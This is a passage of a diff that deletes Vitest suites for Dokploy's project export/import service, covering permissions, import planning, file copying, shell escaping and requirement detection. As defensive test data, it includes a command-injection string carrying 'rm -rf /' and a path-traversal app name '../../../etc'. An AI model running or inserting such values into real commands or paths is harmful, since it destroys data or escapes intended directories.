findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
},
projects: {
findFirst: vi.fn(() => Promise.resolve(projectToReturn)),
},
},
},
}));
const { assertTransferPermission } = await import(
"@dokploy/server/services/project-export-import"
);
const ctxFor = (organizationId: string) => ({
user: { id: "user-1" },
session: { activeOrganizationId: organizationId },
});
beforeEach(() => {
memberToReturn = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
projectToReturn = { projectId: "project-1", organizationId: "org-1" };
});
describe("assertTransferPermission", () => {
it("allows an owner to export", async () => {
memberToReturn = { ...memberToReturn!, role: "owner" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("allows an admin to export", async () => {
memberToReturn = { ...memberToReturn!, role: "admin" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("rejects a plain member with FORBIDDEN", async () => {
memberToReturn = { ...memberToReturn!, role: "member" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("rejects a user with no membership in the active org (cross-org access)", async () => {
memberToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-2") as any, "project-1", "export"),
).rejects.toBeDefined();
});
it("rejects NOT_FOUND when projectId belongs to a different organization, even for an owner", async () => {
projectToReturn = { projectId: "project-1", organizationId: "org-2" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects NOT_FOUND when projectId doesn't exist at all", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(
ctxFor("org-1") as any,
"project-missing",
"export",
),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("skips the project lookup entirely when no projectId is given", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-1") as any, undefined, "export"),
).resolves.toBeDefined();
});
});
@@ -1,391 +0,0 @@
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildPlan,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
name: "shared-net",
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
const applicationService: Record<string, unknown> = {
kind: "application",
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
serverId: "server-src-1",
domains: [{ domainId: "dom-1", host: "existing.example.com" }],
ports: [{ portId: "port-src-1", publishedPort: 8080 }],
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: { application: 1 },
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [applicationService],
shared: {},
},
requirements: [vaultRequirement, networkRequirement, serverRequirement],
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
network: {
findMany: async () => [],
findFirst: async () => ({
networkId: "net-dest-existing",
name: "shared-net",
organizationId: "org-dest",
}),
},
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod",
organizationId: "org-dest",
},
],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
projects: {
findFirst: async () => ({
projectId: "project-existing",
name: "my-project",
organizationId: "org-dest",
}),
},
domains: {
findMany: async () => [
{ domainId: "dom-existing-1", host: "existing.example.com" },
],
},
postgres: {
findMany: async () => [],
findFirst: async () => undefined,
},
mysql: {
findMany: async () => [],
findFirst: async () => undefined,
},
mariadb: {
findMany: async () => [],
findFirst: async () => undefined,
},
mongo: {
findMany: async () => [],
findFirst: async () => undefined,
},
redis: {
findMany: async () => [],
findFirst: async () => undefined,
},
libsql: {
findMany: async () => [],
findFirst: async () => undefined,
},
ports: {
findMany: async () => [
{
portId: "port-existing-1",
publishedPort: 8080,
application: { serverId: "server-dest-1" },
},
],
},
},
}) as any as TransferDb;
describe("buildPlan", () => {
it("marks a missing vault requirement's services as pending, with a blocking warning", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.resolutions[requirementKey(vaultRequirement)]).toEqual({
requirementKey: requirementKey(vaultRequirement),
action: "skip",
});
expect(plan.pendingServices).toEqual([
{
serviceId: "app-1",
serviceType: "application",
reason: 'Missing vault "prod"',
},
]);
expect(
plan.warnings.some(
(w) =>
w.code === "MISSING_REQUIREMENT_BLOCKING" &&
w.severity === "blocking",
),
).toBe(true);
});
it("flags an existing host as a domain conflict", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual(
expect.objectContaining({
kind: "domain",
value: "existing.example.com",
existingId: "dom-existing-1",
}),
);
});
it("flags an existing project name as a conflict with a suggested rename option", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual({
kind: "projectName",
value: "my-project",
existingId: "project-existing",
usedBy: [],
options: ["rename"],
});
expect(plan.conflictResolutions?.["projectName:my-project"]).toEqual({
action: "rename",
value: "my-project (imported)",
});
});
it("flags a network conflict only when the requirement's resolution is 'create'", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.resolutions[requirementKey(networkRequirement)]?.action).toBe(
"create",
);
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "network", value: "shared-net" }),
);
});
it("flags a port conflict on the destination server the service resolves to", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.serverMap["server-src-1"]).toBe("server-dest-1");
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "port", value: "8080" }),
);
});
it("regenerates app names by default, and keeps the original when keepAppNames is set and available", async () => {
const regenerated = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(regenerated.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
const kept = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
keepAppNames: true,
checkAppNameAvailable: async () => true,
},
);
expect(kept.appNameMap["my-app-abc123"]).toBe("my-app-abc123");
});
it("retries appName generation against the DB on a simulated collision", async () => {
let findFirstCalls = 0;
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => {
findFirstCalls += 1;
return findFirstCalls <= 2
? { applicationId: "app-taken", appName: "whatever" }
: undefined;
},
},
},
} as any as TransferDb;
const plan = await buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(findFirstCalls).toBeGreaterThanOrEqual(3);
expect(plan.appNameMap["my-app-abc123"]).toBeDefined();
expect(plan.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
});
it("gives up after MAX_APP_NAME_RETRIES consecutive collisions instead of looping forever", async () => {
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => ({
applicationId: "app-taken",
appName: "whatever",
}),
},
},
} as any as TransferDb;
await expect(
buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
}),
).rejects.toThrow(/unique appName/i);
});
it("excludes redis from the dump count summary (it has no dump support)", async () => {
const dumpSnapshot: Snapshot = {
...snapshot,
manifest: {
...snapshot.manifest,
scope: {
...snapshot.manifest.scope,
dumps: { mode: "embed" },
},
},
resources: {
...snapshot.resources,
services: [
applicationService,
{
kind: "postgres",
postgresId: "pg-1",
name: "my-db",
appName: "my-db-abc123",
environmentId: "env-1",
},
{
kind: "redis",
redisId: "redis-1",
name: "my-cache",
appName: "my-cache-abc123",
environmentId: "env-1",
},
],
},
requirements: [],
};
const plan = await buildPlan(fakeDb(), dumpSnapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.summary.dumps).toBe(1);
});
});
@@ -1,248 +0,0 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { postApply } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@dokploy/server/services/mount", () => ({
createFileMount: vi.fn(async () => {}),
}));
const { createFileMount } = await import("@dokploy/server/services/mount");
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-postapply-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-postapply-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const composeService = {
kind: "compose",
composeId: "compose-1",
appName: "my-compose-abc123",
environmentId: "env-1",
serverId: null,
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [composeService],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: { "my-compose-abc123": "my-compose-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const result: TransferResult = {
idMap: { compose: { "compose-1": "compose-new-1" } },
appNameMap: plan.appNameMap,
pendingRequirements: [],
pendingServices: [],
rotations: [],
restoreErrors: [],
warnings: [],
};
const fakeDb = {
query: {
certificates: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
} as any as TransferDb;
describe("postApply", () => {
it("copies compose files to the new appName, rewriting docker-compose.yml, and reports it as a deploy candidate", async () => {
const sourceDir = join(workDir, "files", "compose", "my-compose-abc123");
await mkdir(sourceDir, { recursive: true });
await writeFile(
join(sourceDir, "docker-compose.yml"),
"services:\n web:\n container_name: my-compose-abc123-web\n",
);
await writeFile(join(sourceDir, ".env"), "APP_NAME=my-compose-abc123\n");
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
plan,
result,
local(workDir),
{
pathsFn: fakePaths as any,
},
);
const destDir = join(root, "compose", "my-compose-xyz789");
expect(existsSync(join(destDir, "docker-compose.yml"))).toBe(true);
const composeContent = await readFile(
join(destDir, "docker-compose.yml"),
"utf8",
);
expect(composeContent).toContain("my-compose-xyz789-web");
expect(composeContent).not.toContain("my-compose-abc123");
const envContent = await readFile(join(destDir, ".env"), "utf8");
expect(envContent).toContain("APP_NAME=my-compose-xyz789");
expect(deployCandidates).toEqual([
{ serviceId: "compose-new-1", serviceType: "compose", serverId: null },
]);
});
it("excludes pending services from deployCandidates", async () => {
const pendingPlan: Plan = {
...plan,
pendingServices: [
{
serviceId: "compose-1",
serviceType: "compose",
reason: "Missing registry",
},
],
};
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
pendingPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
});
});
describe("postApply writes file-type mounts to disk (T-6.6)", () => {
it("calls createFileMount for every file-type mount belonging to a newly created service", async () => {
(createFileMount as any).mockClear();
const dbWithMounts = {
query: {
certificates: { findFirst: async () => undefined },
mounts: {
findMany: async () => [
{
mountId: "mount-file-1",
type: "file",
filePath: "/app/nginx.conf",
},
],
},
},
} as any as TransferDb;
await postApply(dbWithMounts, snapshot, plan, result, local(workDir), {
pathsFn: fakePaths as any,
});
expect(createFileMount).toHaveBeenCalledWith("mount-file-1");
expect(createFileMount).toHaveBeenCalledTimes(1);
});
});
describe("postApply rejects an unsafe appName (T-9.2)", () => {
it("reports a postApplyError instead of joining a path-traversal appName into a local path", async () => {
const maliciousSnapshot: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
...composeService,
appName: "../../../etc",
},
],
},
};
const maliciousPlan: Plan = { ...plan, appNameMap: {} };
const { deployCandidates, postApplyErrors } = await postApply(
fakeDb,
maliciousSnapshot,
maliciousPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
expect(postApplyErrors).toHaveLength(1);
expect(postApplyErrors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -1,189 +0,0 @@
import { existsSync, readFileSync, writeFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
copyDir,
copyFile,
escapeShellArg,
exists,
fileSize,
readFile,
remove,
runToFile,
writeFile as writeRemoteFile,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { pipeMock } = vi.hoisted(() => ({ pipeMock: vi.fn() }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
pipeBetweenServers: (
args: Parameters<typeof actual.pipeBetweenServers>[0],
) =>
args.source.serverId || args.target.serverId
? pipeMock(args)
: actual.pipeBetweenServers(args),
};
},
);
const local = (path: string) => ({ serverId: null, path });
describe("escapeShellArg", () => {
it("wraps a plain value in single quotes", () => {
expect(escapeShellArg("app-foo")).toBe("'app-foo'");
});
it("neutralizes an embedded single quote (command injection attempt)", () => {
const malicious = "foo'; rm -rf / #";
expect(escapeShellArg(malicious)).toBe("'foo'\\''; rm -rf / #'");
});
});
describe("local transfers (serverId null on both sides)", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-"));
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copies a directory tree with copyDir, honouring excludes", async () => {
const source = join(base, "source");
await mkdir(join(source, "nested"), { recursive: true });
await mkdir(join(source, "node_modules"), { recursive: true });
await writeFile(join(source, "a.txt"), "hello");
await writeFile(join(source, "nested", "b.txt"), "world");
await writeFile(join(source, "node_modules", "x.js"), "skip me");
const dest = join(base, "dest", "deep");
await copyDir(local(source), local(dest), { exclude: ["node_modules"] });
expect(readFileSync(join(dest, "a.txt"), "utf8")).toBe("hello");
expect(readFileSync(join(dest, "nested", "b.txt"), "utf8")).toBe("world");
expect(existsSync(join(dest, "node_modules"))).toBe(false);
});
it("copies a single file with copyFile, creating the parent directory", async () => {
const source = join(base, "dump.sql");
writeFileSync(source, Buffer.from([0, 1, 2, 255]));
const dest = join(base, "out", "copied-dump.sql");
await copyFile(local(source), local(dest));
expect(readFileSync(dest)).toEqual(Buffer.from([0, 1, 2, 255]));
});
it("writes from memory and reads back with writeFile/readFile", async () => {
const target = join(base, "nested", "it's.json");
await writeRemoteFile(local(target), '{"a":1}');
expect((await readFile(local(target))).toString()).toBe('{"a":1}');
expect(await exists(local(target))).toBe(true);
expect(await fileSize(local(target))).toBe(7);
});
it("captures a command's stdout into a file with runToFile", async () => {
const target = join(base, "captured.txt");
await runToFile(null, "printf 'abc'", local(target));
expect(readFileSync(target, "utf8")).toBe("abc");
});
it("removes the target when the command fails in runToFile", async () => {
const target = join(base, "partial.txt");
await expect(
runToFile(null, "printf 'abc'; exit 3", local(target)),
).rejects.toThrow();
expect(existsSync(target)).toBe(false);
});
it("remove is a no-op for a missing path and exists reports false", async () => {
const target = join(base, "missing");
await expect(remove(local(target))).resolves.toBeUndefined();
expect(await exists(local(target))).toBe(false);
});
});
describe("transfers between different servers go through pipeBetweenServers", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-ssh-"));
pipeMock.mockReset();
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copyFile removes the local target when the remote side fails", async () => {
const target = join(base, "app-one.yml");
pipeMock.mockImplementation(async () => {
writeFileSync(target, "partial");
throw new Error("source exited with code 1: cat: No such file");
});
await expect(
copyFile(
{
serverId: "server-1",
path: "/etc/dokploy/traefik/dynamic/app-one.yml",
},
local(target),
),
).rejects.toThrow(/exited with code 1: cat: No such file/);
expect(existsSync(target)).toBe(false);
expect(pipeMock.mock.calls[0]?.[0].source).toEqual({
serverId: "server-1",
command: "cat '/etc/dokploy/traefik/dynamic/app-one.yml'",
});
});
it("copyDir escapes the paths and the excludes on both ends", async () => {
pipeMock.mockResolvedValue(0);
await copyDir(
{ serverId: "server-1", path: "/remote/dir" },
{ serverId: "server-2", path: "/it's/local" },
{ exclude: [".git", "it's"] },
);
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: {
serverId: "server-1",
command:
"tar -czf - --exclude='.git' --exclude='it'\\''s' -C '/remote/dir' .",
},
target: {
serverId: "server-2",
command:
"mkdir -p '/it'\\''s/local' && tar -xzf - -C '/it'\\''s/local'",
},
});
});
it("runToFile streams a command from one server into a file on another", async () => {
pipeMock.mockResolvedValue(0);
await runToFile("db-server", "pg_dump x | gzip", {
serverId: "build-server",
path: "/etc/dokploy/project-export-import/x/dumps/pg.sql.gz",
});
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: { serverId: "db-server", command: "pg_dump x | gzip" },
target: {
serverId: "build-server",
command:
"mkdir -p '/etc/dokploy/project-export-import/x/dumps' && cat > '/etc/dokploy/project-export-import/x/dumps/pg.sql.gz'",
},
});
});
});
@@ -1,362 +0,0 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { detectRequirements } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const baseApplication = {
applicationId: "app-1",
name: "app-1",
env: "",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
owner: null,
repository: null,
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
domains: [],
backups: undefined,
volumeBackups: [],
};
const emptyServiceArrays = {
compose: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [application],
postgres: [],
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
destinations: { findMany: async () => [] },
registry: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
...overrides,
},
}) as any as TransferDb;
describe("detectRequirements", () => {
it("detects a vault requirement grouping every secretKey referenced", async () => {
const application = {
...baseApplication,
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI=${{vault.prod.API}}",
};
const db = fakeDb({
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const vaultReqs = requirements.filter((r) => r.kind === "vault");
expect(vaultReqs).toHaveLength(1);
expect(vaultReqs[0]).toMatchObject({
kind: "vault",
originalId: "vault-1",
providerName: "prod",
providerType: "hashicorp",
});
expect((vaultReqs[0] as any).secretKeys.sort()).toEqual(["API", "DB_PASS"]);
});
it("merges registry + buildRegistry into one requirement with both roles", async () => {
const application = {
...baseApplication,
registryId: "registry-1",
buildRegistryId: "registry-1",
};
const db = fakeDb({
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const registryReqs = requirements.filter((r) => r.kind === "registry");
expect(registryReqs).toHaveLength(1);
expect((registryReqs[0] as any).role.sort()).toEqual([
"buildRegistry",
"registry",
]);
});
it("emits a single server requirement with originalId null for services with no serverId", async () => {
const application = { ...baseApplication, serverId: null };
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.originalId).toBeNull();
expect(serverReqs[0]?.usedBy).toHaveLength(1);
});
it("detects a gitProvider requirement with owner/repo", async () => {
const application = {
...baseApplication,
githubId: "gh-1",
owner: "acme",
repository: "app",
};
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect(gitReqs[0]).toMatchObject({
providerType: "github",
originalId: "gh-1",
});
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "app" },
]);
});
it("detects a destination requirement from a backup FK", async () => {
const application = {
...baseApplication,
volumeBackups: [{ destinationId: "dest-1" }],
};
const db = fakeDb({
destinations: {
findMany: async () => [
{
destinationId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const destReqs = requirements.filter((r) => r.kind === "destination");
expect(destReqs).toHaveLength(1);
expect(destReqs[0]).toMatchObject({
originalId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
});
});
it("resolves network names for referenced networkIds", async () => {
const application = { ...baseApplication, networkIds: ["net-1"] };
const db = fakeDb({
network: {
findMany: async () => [{ networkId: "net-1", name: "shared-net" }],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const networkReqs = requirements.filter((r) => r.kind === "network");
expect(networkReqs).toHaveLength(1);
expect(networkReqs[0]).toMatchObject({
originalId: "net-1",
name: "shared-net",
});
});
it("detects an uploaded certificate by the https domains it covers on the same server", async () => {
const application = {
...baseApplication,
serverId: "server-1",
domains: [
{
domainId: "dom-1",
host: "app.example.com",
https: true,
certificateType: "none",
},
{
domainId: "dom-2",
host: "other.example.com",
https: true,
certificateType: "none",
},
],
};
const certificate = {
certificateId: "cert-1",
certificateData:
"-----BEGIN CERTIFICATE-----\n" +
"MIICPjCCAeOgAwIBAgIJAOEJ+5C9HjNZMAoGCCqGSM49BAMCMBoxGDAWBgNVBAMM\n" +
"D2FwcC5leGFtcGxlLmNvbTAeFw0yNjEwMTUyMTQ0NDlaFw0zNjEwMTIyMTQ0NDla\n" +
"MBoxGDAWBgNVBAMMD2FwcC5leGFtcGxlLmNvbTCCAUswggEDBgcqhkjOPQIBMIH3\n" +
"AgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP//////////////\n" +
"/zBbBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12Ko6k+ez\n" +
"671VdpiGvGUdBrDMU7D2O848PifSYEsDFQDEnTYIhucEk2pmeOETnSa3gZ9+kARB\n" +
"BGsX0fLhLEJH+Lzm5WOkQPJ3A32BLeszoPShOUXYmMKWT+NC4v4af5uO5+tKfA+e\n" +
"FivOM1drMV7Oy7ZAaDe/UfUCIQD/////AAAAAP//////////vOb6racXnoTzucrC\n" +
"/GMlUQIBAQNCAASL1XU5x61CV4NiEe+/UmBo6LjNyEpG597XYQ1EPv1QhtboQ1Uo\n" +
"no7Yf/H6T/8elaaCFtgl/sZqxHP4HDLkIFYtox4wHDAaBgNVHREEEzARgg9hcHAu\n" +
"ZXhhbXBsZS5jb20wCgYIKoZIzj0EAwIDSQAwRgIhANb3ATUO9PvG5Ta/5M4ggr11\n" +
"Rb3EoP/+A1AjbYmYEszLAiEA4nxjPPJXLb1zXMeiqz6xyI+8ETyjucTZTkfj4hyV\n" +
"6DM=\n" +
"-----END CERTIFICATE-----\n",
serverId: "server-1",
};
const db = fakeDb({
certificates: {
findMany: async () => [
certificate,
{
...certificate,
certificateId: "cert-other-server",
serverId: null,
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const certReqs = requirements.filter((r) => r.kind === "certificate");
expect(certReqs).toHaveLength(1);
expect(certReqs[0]?.originalId).toBe("cert-1");
expect(certReqs[0]?.usedBy).toHaveLength(1);
expect((certReqs[0] as any).fingerprint).toMatch(/^[a-f0-9]{64}$/);
expect((certReqs[0] as any).serverId).toBe("server-1");
});
it("dedupes requirements used by multiple services into one entry with combined usedBy", async () => {
const application1 = {
...baseApplication,
applicationId: "app-1",
serverId: "server-1",
};
const application2 = {
...baseApplication,
applicationId: "app-2",
serverId: "server-1",
};
const tree = buildTree(application1) as any;
tree.environments[0].applications.push(application2);
const requirements = await detectRequirements(fakeDb(), tree, baseScope);
const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.usedBy).toHaveLength(2);
});
it("only scans services actually within scope.serviceIds", async () => {
const included = {
...baseApplication,
applicationId: "app-included",
githubId: "gh-1",
owner: "acme",
repository: "included-repo",
};
const excluded = {
...baseApplication,
applicationId: "app-excluded",
githubId: "gh-1",
owner: "acme",
repository: "excluded-repo",
};
const tree = buildTree(included) as any;
tree.environments[0].applications.push(excluded);
const requirements = await detectRequirements(fakeDb(), tree, {
...baseScope,
serviceIds: ["app-included"],
});
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "included-repo" },
]);
});
});
@@ -1,285 +0,0 @@
import { createHash } from "node:crypto";
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
LOCAL_SERVER_CANDIDATE_ID,
proposeResolutions,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const CERT_FINGERPRINT = createHash("sha256")
.update("cert-data-1")
.digest("hex");
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
};
const gitProviderRequirement: Requirement = {
kind: "gitProvider",
originalId: "gh-src",
configIncluded: false,
usedBy: [],
providerType: "github",
repositories: [],
};
const destinationRequirement: Requirement = {
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "my-bucket",
endpoint: "https://s3.example.com",
region: "us-east-1",
};
const registryRequirement: Requirement = {
kind: "registry",
originalId: "reg-src",
configIncluded: true,
usedBy: [],
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
role: ["registry"],
};
const sshKeyRequirement: Requirement = {
kind: "sshKey",
originalId: "key-src",
configIncluded: true,
usedBy: [],
publicKey: "ssh-ed25519 AAAAtest",
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: false,
usedBy: [],
name: "my-network",
};
const certificateRequirement: Requirement = {
